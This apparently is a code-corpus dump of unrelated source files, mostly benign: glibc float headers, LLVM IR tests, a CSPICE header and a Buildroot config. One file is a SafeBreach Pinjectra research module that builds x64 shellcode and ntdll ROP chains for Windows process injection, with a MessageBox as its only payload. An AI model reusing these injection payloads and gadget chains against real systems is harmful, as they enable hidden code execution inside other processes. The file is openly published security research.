# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
# define __f32x(x) x
# else
# define __f32x(x) x##f32x
# endif
# endif
# if __HAVE_FLOAT64X
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
# if __HAVE_FLOAT64X_LONG_DOUBLE
# define __f64x(x) x##l
# else
# define __f64x(x) __f128 (x)
# endif
# else
# define __f64x(x) x##f64x
# endif
# endif
# if __HAVE_FLOAT128X
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
# error "_Float128X supported but no constant suffix"
# else
# define __f128x(x) x##f128x
# endif
# endif
/* Defined to a complex type if __HAVE_<type> is 1. */
# if __HAVE_FLOAT16
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
typedef _Complex float __cfloat16 __attribute__ ((__mode__ (__HC__)));
# define __CFLOAT16 __cfloat16
# else
# define __CFLOAT16 _Complex _Float16
# endif
# endif
# if __HAVE_FLOAT32
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
# define __CFLOAT32 _Complex float
# else
# define __CFLOAT32 _Complex _Float32
# endif
# endif
# if __HAVE_FLOAT64
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
# ifdef __NO_LONG_DOUBLE_MATH
# define __CFLOAT64 _Complex long double
# else
# define __CFLOAT64 _Complex double
# endif
# else
# define __CFLOAT64 _Complex _Float64
# endif
# endif
# if __HAVE_FLOAT32X
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
# define __CFLOAT32X _Complex double
# else
# define __CFLOAT32X _Complex _Float32x
# endif
# endif
# if __HAVE_FLOAT64X
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
# if __HAVE_FLOAT64X_LONG_DOUBLE
# define __CFLOAT64X _Complex long double
# else
# define __CFLOAT64X __CFLOAT128
# endif
# else
# define __CFLOAT64X _Complex _Float64x
# endif
# endif
# if __HAVE_FLOAT128X
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
# error "_Float128X supported but no complex type"
# else
# define __CFLOAT128X _Complex _Float128x
# endif
# endif
/* The remaining of this file provides support for older compilers. */
# if __HAVE_FLOAT16
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
typedef float _Float16 __attribute__ ((__mode__ (__HF__)));
# endif
# if !__GNUC_PREREQ (7, 0)
# define __builtin_huge_valf16() ((_Float16) __builtin_huge_val ())
# define __builtin_inff16() ((_Float16) __builtin_inf ())
# define __builtin_nanf16(x) ((_Float16) __builtin_nan (x))
# define __builtin_nansf16(x) ((_Float16) __builtin_nans (x))
# endif
# endif
# if __HAVE_FLOAT32
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
typedef float _Float32;
# endif
# if !__GNUC_PREREQ (7, 0)
# define __builtin_huge_valf32() (__builtin_huge_valf ())
# define __builtin_inff32() (__builtin_inff ())
# define __builtin_nanf32(x) (__builtin_nanf (x))
# define __builtin_nansf32(x) (__builtin_nansf (x))
# endif
# endif
# if __HAVE_FLOAT64
/* If double, long double and _Float64 all have the same set of
values, TS 18661-3 requires the usual arithmetic conversions on
long double and _Float64 to produce _Float64. For this to be the
case when building with a compiler without a distinct _Float64
type, _Float64 must be a typedef for long double, not for
double. */
# ifdef __NO_LONG_DOUBLE_MATH
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
typedef long double _Float64;
# endif
# if !__GNUC_PREREQ (7, 0)
# define __builtin_huge_valf64() (__builtin_huge_vall ())
# define __builtin_inff64() (__builtin_infl ())
# define __builtin_nanf64(x) (__builtin_nanl (x))
# define __builtin_nansf64(x) (__builtin_nansl (x))
# endif
# else
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
typedef double _Float64;
# endif
# if !__GNUC_PREREQ (7, 0)
# define __builtin_huge_valf64() (__builtin_huge_val ())
# define __builtin_inff64() (__builtin_inf ())
# define __builtin_nanf64(x) (__builtin_nan (x))
# define __builtin_nansf64(x) (__builtin_nans (x))
# endif
# endif
# endif
# if __HAVE_FLOAT32X
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
typedef double _Float32x;
# endif
# if !__GNUC_PREREQ (7, 0)
# define __builtin_huge_valf32x() (__builtin_huge_val ())
# define __builtin_inff32x() (__builtin_inf ())
# define __builtin_nanf32x(x) (__builtin_nan (x))
# define __builtin_nansf32x(x) (__builtin_nans (x))
# endif
# endif
# if __HAVE_FLOAT64X
# if __HAVE_FLOAT64X_LONG_DOUBLE
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
typedef long double _Float64x;
# endif
# if !__GNUC_PREREQ (7, 0)
# define __builtin_huge_valf64x() (__builtin_huge_vall ())
# define __builtin_inff64x() (__builtin_infl ())
# define __builtin_nanf64x(x) (__builtin_nanl (x))
# define __builtin_nansf64x(x) (__builtin_nansl (x))
# endif
# else
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
typedef _Float128 _Float64x;
# endif
# if !__GNUC_PREREQ (7, 0)
# define __builtin_huge_valf64x() (__builtin_huge_valf128 ())
# define __builtin_inff64x() (__builtin_inff128 ())
# define __builtin_nanf64x(x) (__builtin_nanf128 (x))
# define __builtin_nansf64x(x) (__builtin_nansf128 (x))
# endif
# endif
# endif
# if __HAVE_FLOAT128X
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
# error "_Float128x supported but no type"
# endif
# if !__GNUC_PREREQ (7, 0)
# define __builtin_huge_valf128x() ((_Float128x) __builtin_huge_val ())
# define __builtin_inff128x() ((_Float128x) __builtin_inf ())
# define __builtin_nanf128x(x) ((_Float128x) __builtin_nan (x))
# define __builtin_nansf128x(x) ((_Float128x) __builtin_nans (x))
# endif
# endif
#endif /* !__ASSEMBLER__. */
#endif /* _BITS_FLOATN_COMMON_H */
|
{
"language": "Assembly"
}
|
; Tests to make sure elimination of casts is working correctly
; RUN: opt < %s -instcombine -S | FileCheck %s
target datalayout = "e-p:64:64:64-i1:8:8-i8:8:8-i16:16:16-i32:32:32-i64:64:64-f32:32:32-f64:64:64-v64:64:64-v128:128:128-a0:0:64-s0:64:64-f80:128:128"
define i17 @test1(i17 %a) {
%tmp = zext i17 %a to i37 ; <i37> [#uses=2]
%tmp21 = lshr i37 %tmp, 8 ; <i37> [#uses=1]
; CHECK: %tmp21 = lshr i17 %a, 8
%tmp5 = shl i37 %tmp, 8 ; <i37> [#uses=1]
; CHECK: %tmp5 = shl i17 %a, 8
%tmp.upgrd.32 = or i37 %tmp21, %tmp5 ; <i37> [#uses=1]
; CHECK: %tmp.upgrd.32 = or i17 %tmp21, %tmp5
%tmp.upgrd.3 = trunc i37 %tmp.upgrd.32 to i17 ; <i17> [#uses=1]
ret i17 %tmp.upgrd.3
; CHECK: ret i17 %tmp.upgrd.32
}
define i167 @test2(i167 %a) {
%tmp = zext i167 %a to i577 ; <i577> [#uses=2]
%tmp21 = lshr i577 %tmp, 9 ; <i577> [#uses=1]
; CHECK: %tmp21 = lshr i167 %a, 9
%tmp5 = shl i577 %tmp, 8 ; <i577> [#uses=1]
; CHECK: %tmp5 = shl i167 %a, 8
%tmp.upgrd.32 = or i577 %tmp21, %tmp5 ; <i577> [#uses=1]
; CHECK: %tmp.upgrd.32 = or i167 %tmp21, %tmp5
%tmp.upgrd.3 = trunc i577 %tmp.upgrd.32 to i167 ; <i167> [#uses=1]
ret i167 %tmp.upgrd.3
; CHECK: ret i167 %tmp.upgrd.32
}
|
{
"language": "Assembly"
}
|
/*
-Header_File SpiceEll.h ( CSPICE Ellipse definitions )
-Abstract
Perform CSPICE definitions for the SpiceEllipse data type.
-Disclaimer
THIS SOFTWARE AND ANY RELATED MATERIALS WERE CREATED BY THE
CALIFORNIA INSTITUTE OF TECHNOLOGY (CALTECH) UNDER A U.S.
GOVERNMENT CONTRACT WITH THE NATIONAL AERONAUTICS AND SPACE
ADMINISTRATION (NASA). THE SOFTWARE IS TECHNOLOGY AND SOFTWARE
PUBLICLY AVAILABLE UNDER U.S. EXPORT LAWS AND IS PROVIDED "AS-IS"
TO THE RECIPIENT WITHOUT WARRANTY OF ANY KIND, INCLUDING ANY
WARRANTIES OF PERFORMANCE OR MERCHANTABILITY OR FITNESS FOR A
PARTICULAR USE OR PURPOSE (AS SET FORTH IN UNITED STATES UCC
SECTIONS 2312-2313) OR FOR ANY PURPOSE WHATSOEVER, FOR THE
SOFTWARE AND RELATED MATERIALS, HOWEVER USED.
IN NO EVENT SHALL CALTECH, ITS JET PROPULSION LABORATORY, OR NASA
BE LIABLE FOR ANY DAMAGES AND/OR COSTS, INCLUDING, BUT NOT
LIMITED TO, INCIDENTAL OR CONSEQUENTIAL DAMAGES OF ANY KIND,
INCLUDING ECONOMIC DAMAGE OR INJURY TO PROPERTY AND LOST PROFITS,
REGARDLESS OF WHETHER CALTECH, JPL, OR NASA BE ADVISED, HAVE
REASON TO KNOW, OR, IN FACT, SHALL KNOW OF THE POSSIBILITY.
RECIPIENT BEARS ALL RISK RELATING TO QUALITY AND PERFORMANCE OF
THE SOFTWARE AND ANY RELATED MATERIALS, AND AGREES TO INDEMNIFY
CALTECH AND NASA FOR ALL THIRD-PARTY CLAIMS RESULTING FROM THE
ACTIONS OF RECIPIENT IN THE USE OF THE SOFTWARE.
-Required_Reading
None.
-Particulars
This header defines structures and typedefs that may be referenced in
application code that calls CSPICE Ellipse functions.
Structures
==========
Name Description
---- ----------
SpiceEllipse Structure representing an ellipse in 3-
dimensional space.
The members are:
center: Vector defining ellipse's
center.
semiMajor: Vector defining ellipse's
semi-major axis.
semiMinor: Vector defining ellipse's
semi-minor axis.
The ellipse is the set of points
{X: X = center
+ cos(theta) * semiMajor
+ sin(theta) * semiMinor,
theta in [0, 2*Pi) }
ConstSpiceEllipse A const SpiceEllipse.
-Literature_References
None.
-Author_and_Institution
N.J. Bachman (JPL)
-Restrictions
None.
-Version
-CSPICE Version 1.0.0, 04-MAR-1999 (NJB)
*/
#ifndef HAVE_SPICE_ELLIPSES
#define HAVE_SPICE_ELLIPSES
/*
Ellipse structure:
*/
struct _SpiceEllipse
{ SpiceDouble center [3];
SpiceDouble semiMajor [3];
SpiceDouble semiMinor [3]; };
typedef struct _SpiceEllipse SpiceEllipse;
typedef const SpiceEllipse ConstSpiceEllipse;
#endif
|
{
"language": "Assembly"
}
|
// Copyright (c) 2019, SafeBreach
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
// * Neither the name of the copyright holder nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
// AUTHORS: Amit Klein, Itzik Kotler
// SEE: https://github.com/SafeBreach-Labs/Pinjectra
#define _CRT_SECURE_NO_WARNINGS
// Standard Include's
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <assert.h>
extern "C" {
#include "memmem.h"
}
#include "DynamicPayloads.h"
/////////////
// Classes //
/////////////
PINJECTRA_PACKET* _PAYLOAD_5::eval(TStrDWORD64Map& runtime_parameters)
{
/*
mov rax,0x1111111111111111
mov rcx,0x2222222222222222
mov [rcx],rax
mov rdx,0x7777777777777777
mov [rcx+8],rdx
mov rax,0x4444444444444444
push rax
mov rax,0x5555555555555555
push rax
xor rcx,rcx
mov rdx,rsp
mov r8,rsp
add r8,8
xor r9,r9
mov rax,0x3333333333333333
sub rsp,0x28
call rax
add rsp,0x38
mov rax,0xdeadbeef
ret
*/
PINJECTRA_PACKET* output;
// Primary Buffer
long long marker_tramp_value = 0x1111111111111111;
char tramp_value[8];
long long marker_tramp_value2 = 0x7777777777777777;
char tramp_value2[8];
long long marker_tramp_addr = 0x2222222222222222;
long long marker_text = 0x4444444444444444;
char text[8] = "Hello!";
long long marker_caption = 0x5555555555555555;
char caption[8] = "World";
long long marker_func = 0x3333333333333333;
void* func_ptr = MessageBoxA;
void *target_function;
char* payload = (char*)malloc(1000);
target_function = (void *)runtime_parameters["TARGET_FUNCTION"];
long long tramp_addr = (long long) target_function;
void* TEST_F = GetProcAddress(GetModuleHandleA("ntdll"), "NtClose");
void* TEST_C = GetProcAddress(GetModuleHandleA("ntdll"), "atan");
memcpy(payload, "\x48\xB8\x11\x11\x11\x11\x11\x11\x11\x11\x48\xB9\x22\x22\x22\x22\x22\x22\x22\x22\x48\x89\x01\x48\xBA\x77\x77\x77\x77\x77\x77\x77\x77\x48\x89\x51\x08\x48\xB8\x44\x44\x44\x44\x44\x44\x44\x44\x50\x48\xB8\x55\x55\x55\x55\x55\x55\x55\x55\x50\x48\x31\xC9\x48\x89\xE2\x49\x89\xE0\x49\x83\xC0\x08\x4D\x31\xC9\x48\xB8\x33\x33\x33\x33\x33\x33\x33\x33\x48\x83\xEC\x28\xFF\xD0\x48\x83\xC4\x38\x48\xB8\xEF\xBE\xAD\xDE\x00\x00\x00\x00\xC3", PAYLOAD5_SIZE);
memcpy(tramp_value, target_function, 8);
memcpy(memmem(payload, 1000, (char*)& marker_tramp_value, 8), tramp_value, 8);
memcpy(tramp_value2, 8 + (char*) target_function, 8);
memcpy(memmem(payload, 1000, (char*)& marker_tramp_value2, 8), tramp_value2, 8);
memcpy(memmem(payload, 1000, (char*)& marker_tramp_addr, 8), &tramp_addr, 8);
memcpy(memmem(payload, 1000, (char*)& marker_text, 8), text, 8);
memcpy(memmem(payload, 1000, (char*)& marker_caption, 8), caption, 8);
memcpy(memmem(payload, 1000, (char*)& marker_func, 8), &func_ptr, 8);
// Secondary Buffer
long long marker_tramp_target = 0x6666666666666666;
char* trampo;
trampo = (char *)malloc(1 * 13);
memcpy(trampo, "\x48\xB8\x66\x66\x66\x66\x66\x66\x66\x66\x50\xC3", 13); // mov rax, 0x66666...6666; push rax; ret
void *cave = (void *)runtime_parameters["TARGET_CAVE"];
memcpy(memmem(trampo, 12, (char*)& marker_tramp_target, 8), &cave, 8);
runtime_parameters["TRAMPO"] = (DWORD64)trampo;
runtime_parameters["TRAMPO_SIZE"] = 13;
output = (PINJECTRA_PACKET*)malloc(1 * sizeof(PINJECTRA_PACKET));
output->buffer = payload;
output->buffer_size = PAYLOAD5_SIZE;
output->metadata = &runtime_parameters;
return output;
}
PINJECTRA_PACKET* _PAYLOAD_4::eval(TStrDWORD64Map& runtime_parameters)
{
/*
mov rax,0x4444444444444444
push rax
mov rax,0x5555555555555555
push rax
xor rcx,rcx
mov rdx,rsp
mov r8,rsp
add r8,8
xor r9,r9
mov rax,0x3333333333333333
sub rsp,0x28 // Extra 8 bytes to make sure the stack is 16-byte aligned.
call rax
add rsp,0x38
mov eax,2 // simulate the return of the original object function
mov rbx,0x6666666666666666 // restore the original object pointer into rbx
ret
*/
PINJECTRA_PACKET* output;
DWORD64 old_obj;
DWORD64 marker_text = 0x4444444444444444;
char text[8] = "Hello!";
DWORD64 marker_caption = 0x5555555555555555;
char caption[8] = "World";
DWORD64 marker_func = 0x3333333333333333;
void* func_ptr = MessageBoxA;
DWORD64 marker_winptr = 0x6666666666666666;
char *payload = (char*)malloc(PAYLOAD4_SIZE);
memcpy(payload, "\x48\xB8\x44\x44\x44\x44\x44\x44\x44\x44\x50\x48\xB8\x55\x55\x55\x55\x55\x55\x55\x55\x50\x48\x31\xC9\x48\x89\xE2\x49\x89\xE0\x49\x83\xC0\x08\x4D\x31\xC9\x48\xB8\x33\x33\x33\x33\x33\x33\x33\x33\x48\x83\xEC\x28\xFF\xD0\x48\x83\xC4\x38\xB8\x02\x00\x00\x00\x48\xBB\x66\x66\x66\x66\x66\x66\x66\x66\xC3", PAYLOAD4_SIZE);
memcpy(memmem(payload, PAYLOAD4_SIZE, (char*)& marker_text, 8), text, 8);
memcpy(memmem(payload, PAYLOAD4_SIZE, (char*)& marker_caption, 8), caption, 8);
memcpy(memmem(payload, PAYLOAD4_SIZE, (char*)& marker_func, 8), &func_ptr, 8);
old_obj = runtime_parameters["GetWindowLongPtrA_RETURN_VALUE"];
void* winptr_ptr = &old_obj;
memcpy(memmem(payload, PAYLOAD4_SIZE, (char*)& marker_winptr, 8), winptr_ptr, 8);
output = (PINJECTRA_PACKET*)malloc(1 * sizeof(PINJECTRA_PACKET));
output->buffer = payload;
output->buffer_size = PAYLOAD4_SIZE;
output->metadata = &runtime_parameters;
return output;
}
PINJECTRA_PACKET* _ROP_CHAIN_1::eval(TStrDWORD64Map& runtime_parameters)
{
PINJECTRA_PACKET* output;
DWORD64 rop_pos = 0;
DWORD64* ROP_chain;
HMODULE ntdll = GetModuleHandleA("ntdll");
MODULEINFO modinfo;
output = (PINJECTRA_PACKET*)malloc(1 * sizeof(PINJECTRA_PACKET));
GetModuleInformation(GetCurrentProcess(), ntdll, &modinfo, sizeof(modinfo));
int size = modinfo.SizeOfImage;
//printf("ntdll size: %d\n", size);
DWORD64 GADGET_loop = (DWORD64)memmem(((BYTE*)ntdll) + 0x1000, size - 0x1000, "\xEB\xFE", 2); // jmp -2
//printf("GADGET_loop=0x%llx\n", GADGET_loop);
/*
ntdll!LdrpHandleInvalidUserCallTarget+0x7f:
00007ff8`5c63b3bf 58 pop rax
00007ff8`5c63b3c0 5a pop rdx
00007ff8`5c63b3c1 59 pop rcx
00007ff8`5c63b3c2 4158 pop r8
00007ff8`5c63b3c4 4159 pop r9
00007ff8`5c63b3c6 415a pop r10
00007ff8`5c63b3c8 415b pop r11
00007ff8`5c63b3ca c3 ret
*/
DWORD64 GADGET_popregs = (DWORD64)memmem(((BYTE*)ntdll) + 0x1000, size - 0x1000, "\x58\x5a\x59\x41\x58\x41\x59\x41\x5a\x41\x5b\xc3", 12);
//printf("GADGET_popregs=0x%llx\n", GADGET_popregs);
DWORD64 GADGET_ret = (DWORD64)memmem(((BYTE*)ntdll) + 0x1000, size - 0x1000, "\xc3", 1);
//printf("GADGET_ret=0x%llx\n", GADGET_ret);
DWORD64 GADGET_pivot = (DWORD64)memmem(((BYTE*)ntdll) + 0x1000, size - 0x1000, "\x5C\xC3", 2); // pop rsp; ret
//printf("GADGET_pivot=0x%llx\n", GADGET_ret);
DWORD64 GADGET_addrsp = (DWORD64)memmem(((BYTE*)ntdll) + 0x1000, size - 0x1000, "\x48\x83\xC4\x28\xC3", 5); // add rsp, 0x28; ret
//printf("GADGET_addrsp=0x%llx\n", GADGET_addrsp);
ROP_chain = (DWORD64*)malloc(100 * sizeof(DWORD64));
#define DONT_CARE 0
if ((runtime_parameters["tos"] + 10 * sizeof(DWORD64)) & 0xF) // stack before return address of MessageBoxA is NOT aligned - force alignment
{
ROP_chain[rop_pos++] = GADGET_ret;
//ROP_chain[rop_pos++] = 0;
}
ROP_chain[rop_pos++] = GADGET_popregs;
ROP_chain[rop_pos++] = DONT_CARE; // rax
DWORD64 text_pos = rop_pos++; // rdx
ROP_chain[rop_pos++] = NULL; // rcx
DWORD64 caption_pos = rop_pos++; // r8
ROP_chain[rop_pos++] = MB_OK; // r9
ROP_chain[rop_pos++] = DONT_CARE; // r10
ROP_chain[rop_pos++] = DONT_CARE; // r11
ROP_chain[rop_pos++] = (DWORD64)MessageBoxA;
ROP_chain[rop_pos++] = GADGET_addrsp;
ROP_chain[rop_pos++] = DONT_CARE; // shadow space
ROP_chain[rop_pos++] = DONT_CARE; // shadow space
ROP_chain[rop_pos++] = DONT_CARE; // shadow space
ROP_chain[rop_pos++] = DONT_CARE; // shadow space
ROP_chain[rop_pos++] = DONT_CARE; // skipped by GADGET_addrsp
ROP_chain[rop_pos++] = GADGET_popregs;
ROP_chain[rop_pos++] = DONT_CARE; // rax
DWORD64 saved_return_address = rop_pos++; // rdx
ROP_chain[rop_pos++] = runtime_parameters["orig_tos"]; // rcx
ROP_chain[rop_pos++] = 8; // 8
ROP_chain[rop_pos++] = DONT_CARE; // r9
ROP_chain[rop_pos++] = DONT_CARE; // r10
ROP_chain[rop_pos++] = DONT_CARE; // r11
ROP_chain[rop_pos++] = (DWORD64)GetProcAddress(ntdll, "memmove");
ROP_chain[rop_pos++] = GADGET_addrsp;
ROP_chain[rop_pos++] = DONT_CARE; // shadow space
ROP_chain[rop_pos++] = DONT_CARE; // shadow space
ROP_chain[rop_pos++] = DONT_CARE; // shadow space
ROP_chain[rop_pos++] = DONT_CARE; // shadow space
ROP_chain[rop_pos++] = DONT_CARE; // skipped by GADGET_addrsp
ROP_chain[rop_pos++] = GADGET_pivot;
ROP_chain[rop_pos++] = runtime_parameters["orig_tos"];
ROP_chain[caption_pos] = runtime_parameters["tos"] + sizeof(DWORD64) * rop_pos;
strcpy((char*)& ROP_chain[rop_pos++], "Hello");
ROP_chain[text_pos] = runtime_parameters["tos"] + sizeof(DWORD64) * rop_pos;
strcpy((char*)& ROP_chain[rop_pos++], "World!");
ROP_chain[saved_return_address] = runtime_parameters["tos"] + sizeof(DWORD64) * rop_pos;
ROP_chain[rop_pos++] = DONT_CARE;
// Update Runtime Parameters with ROP-specific Parameters
runtime_parameters["saved_return_address"] = saved_return_address;
runtime_parameters["GADGET_pivot"] = GADGET_pivot;
runtime_parameters["rop_pos"] = rop_pos;
output->buffer = ROP_chain;
output->buffer_size = 100 * sizeof(DWORD64); // Ignored in NQAT_WITH_MEMSET
output->metadata = &runtime_parameters;
return output;
}
PINJECTRA_PACKET* _ROP_CHAIN_2::eval(TStrDWORD64Map& runtime_parameters)
{
PINJECTRA_PACKET* output;
HMODULE ntdll = GetModuleHandleA("ntdll");
MODULEINFO modinfo;
GetModuleInformation(GetCurrentProcess(), ntdll, &modinfo, sizeof(modinfo));
int size = modinfo.SizeOfImage;
//printf("ntdll size: %d\n", size);
output = (PINJECTRA_PACKET*)malloc(1 * sizeof(PINJECTRA_PACKET));
DWORD64 GADGET_loop = (DWORD64)memmem(ntdll, size, "\xEB\xFE", 2); // jmp -2
//printf("GADGET_loop=0x%llx\n", GADGET_loop);
//DWORD64 GADGET_write = (DWORD64)memmem(ntdll, size, "\x48\x89\x01\xC3", 4); // mov [rcx],rax; ret
/*
7fe: 48 89 1f mov QWORD PTR [rdi],rbx
801: 48 8b 5c 24 60 mov rbx,QWORD PTR [rsp+0x60]
806: 48 83 c4 50 add rsp,0x50
80a: 5f pop rdi
80b: c3 ret
*/
DWORD64 GADGET_write = (DWORD64)memmem(ntdll, size, "\x48\x89\x1f\x48\x8b\x5c\x24\x60\x48\x83\xc4\x50\x5f\xc3", 14);
//printf("GADGET_write=0x%llx\n", GADGET_write);
/*
ntdll!LdrpHandleInvalidUserCallTarget+0x7f:
00007ff8`5c63b3bf 58 pop rax
00007ff8`5c63b3c0 5a pop rdx
00007ff8`5c63b3c1 59 pop rcx
00007ff8`5c63b3c2 4158 pop r8
00007ff8`5c63b3c4 4159 pop r9
00007ff8`5c63b3c6 415a pop r10
00007ff8`5c63b3c8 415b pop r11
00007ff8`5c63b3ca c3 ret
*/
DWORD64 GADGET_popregs = (DWORD64)memmem(ntdll, size, "\x58\x5a\x59\x41\x58\x41\x59\x41\x5a\x41\x5b\xc3", 12);
//printf("GADGET_popregs=0x%llx\n", GADGET_popregs);
DWORD64* ROP_chain;
ROP_chain = (DWORD64 *)malloc(100 * sizeof(DWORD64));
DWORD64 old_rsp;
old_rsp = runtime_parameters["OLD_CTX_RSP"];
// Prepare new stack (still in the injector process)
DWORD64 new_stack_pos = ((old_rsp - ((100 * sizeof(DWORD64)) + 8) + 8) & 0xFFFFFFFFFFFFFFF0) - 8; // make sure stack is 16-byte aligned before the return address.
//printf("new_stack_pos=%llx\n", new_stack_pos);
DWORD64 rop_pos = 0;
#define DONT_CARE 0
ROP_chain[rop_pos++] = DONT_CARE; // rax
DWORD64 text_pos = rop_pos++; // rdx
ROP_chain[rop_pos++] = NULL; // rcx
DWORD64 caption_pos = rop_pos++; // r8
ROP_chain[rop_pos++] = MB_OK; // r9
ROP_chain[rop_pos++] = DONT_CARE; // r10
ROP_chain[rop_pos++] = DONT_CARE; // r11
ROP_chain[rop_pos++] = (DWORD64)MessageBoxA;
ROP_chain[rop_pos++] = GADGET_loop;
ROP_chain[rop_pos++] = 0; // shadow space
ROP_chain[rop_pos++] = 0; // shadow space
ROP_chain[rop_pos++] = 0; // shadow space
ROP_chain[rop_pos++] = 0; // shadow space
ROP_chain[caption_pos] = new_stack_pos + sizeof(DWORD64) * rop_pos;
strcpy((char*)& ROP_chain[rop_pos++], "Hello");
ROP_chain[text_pos] = new_stack_pos + sizeof(DWORD64) * rop_pos;
strcpy((char*)& ROP_chain[rop_pos++], "World!");
// Update Runtime Parameters with ROP-specific Parameters
runtime_parameters["GADGET_loop"] = GADGET_loop;
runtime_parameters["GADGET_popregs"] = GADGET_popregs;
runtime_parameters["ROP_POS"] = rop_pos;
runtime_parameters["NEW_STACK_POS"] = new_stack_pos;
runtime_parameters["GADGET_write"] = GADGET_write;
output->buffer = ROP_chain;
output->buffer_size = 100;
output->metadata = &runtime_parameters;
return output;
}
|
{
"language": "Assembly"
}
|
config BR2_PACKAGE_IBRDTND
bool "ibrdtnd"
depends on BR2_INSTALL_LIBSTDCPP
depends on BR2_TOOLCHAIN_HAS_THREADS
select BR2_PACKAGE_IBRDTN
select BR2_PACKAGE_IBRCOMMON
help
IBR-DTN is a small dtn application that supports:
Bundle Protocol RFC 5050
Bundle Security Protocol RFC 6257
http://trac.ibr.cs.tu-bs.de/project-cm-2012-ibrdtn
comment "ibrdtnd needs a toolchain w/ C++, threads"
depends on !BR2_INSTALL_LIBSTDCPP || !BR2_TOOLCHAIN_HAS_THREADS
|
{
"language": "Assembly"
}
|
; RUN: opt < %s -instcombine -S | grep "store volatile"
; RUN: opt < %s -instcombine -S | grep "load volatile"
@x = weak global i32 0 ; <i32*> [#uses=2]
define void @self_assign_1() {
entry:
%tmp = load volatile i32* @x ; <i32> [#uses=1]
store volatile i32 %tmp, i32* @x
br label %return
return: ; preds = %entry
ret void
}
|
{
"language": "Assembly"
}
|
; RUN: opt -jump-threading -S -verify < %s | FileCheck %s
declare i32 @f1()
declare i32 @f2()
declare void @f3()
declare void @f4(i32)
; Make sure we update the phi node properly.
;
; CHECK-LABEL: define void @test_br_folding_not_threading_update_phi(
; CHECK: br label %L1
; Make sure we update the phi node properly here, i.e. we only have 2 predecessors, entry and L0
; CHECK: %res.0 = phi i32 [ 0, %L0 ], [ 1, %entry ]
define void @test_br_folding_not_threading_update_phi(i32 %val) nounwind {
entry:
%cmp = icmp eq i32 %val, 32
br i1 %cmp, label %L0, label %L1
L0:
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
switch i32 %val, label %L2 [
i32 0, label %L1
i32 32, label %L1
]
L1:
%res.0 = phi i32 [ 0, %L0 ], [ 0, %L0 ], [1, %entry]
call void @f4(i32 %res.0)
ret void
L2:
call void @f3()
ret void
}
; Make sure we can fold this branch ... We will not be able to thread it as
; L0 is too big to duplicate. L2 is the unreachable block here.
;
; CHECK-LABEL: @test_br_folding_not_threading(
; CHECK: L1:
; CHECK: call i32 @f2()
; CHECK: call void @f3()
; CHECK-NEXT: ret void
; CHECK-NOT: br
; CHECK: L3:
define void @test_br_folding_not_threading(i1 %cond) nounwind {
entry:
br i1 %cond, label %L0, label %L3
L0:
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
br i1 %cond, label %L1, label %L2
L1:
call void @f3()
ret void
L2:
call void @f3()
ret void
L3:
call void @f3()
ret void
}
; Make sure we can fold this branch ... We will not be able to thread it as
; L0 is too big to duplicate. L2 is the unreachable block here.
; With more than 1 predecessors.
;
; CHECK-LABEL: @test_br_folding_not_threading_multiple_preds(
; CHECK: L1:
; CHECK: call i32 @f2()
; CHECK: call void @f3()
; CHECK-NEXT: ret void
; CHECK-NOT: br
; CHECK: L3:
define void @test_br_folding_not_threading_multiple_preds(i1 %condx, i1 %cond) nounwind {
entry:
br i1 %condx, label %X0, label %X1
X0:
br i1 %cond, label %L0, label %L3
X1:
br i1 %cond, label %L0, label %L3
L0:
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
br i1 %cond, label %L1, label %L2
L1:
call void @f3()
ret void
L2:
call void @f3()
ret void
L3:
call void @f3()
ret void
}
; Make sure we can do the RAUW for %add...
;
